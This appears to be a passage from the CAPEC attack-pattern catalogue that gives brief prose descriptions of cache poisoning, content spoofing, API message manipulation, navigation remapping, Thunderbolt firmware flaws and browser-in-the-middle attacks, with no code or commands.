An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-148: Content Spoofing
An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.
CAPEC-218: Spoofing of UDDI/ebXML Messages
An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
CAPEC-701: Browser in the Middle (BiTM)
An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.